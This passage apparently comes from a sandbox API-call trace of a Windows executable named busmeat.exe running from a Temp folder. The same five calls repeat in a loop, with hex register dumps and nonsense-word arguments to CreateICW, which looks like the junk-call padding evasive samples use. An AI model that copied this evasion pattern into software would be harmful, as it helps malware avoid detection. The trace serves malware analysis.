[112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.208] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.209] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.209] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.209] GetConsoleCP () returned 0x0
	[0066.209] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.209] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.210] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.210] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.210] GetConsoleCP () returned 0x0
	[0066.210] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.210] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.211] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.211] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.211] GetConsoleCP () returned 0x0
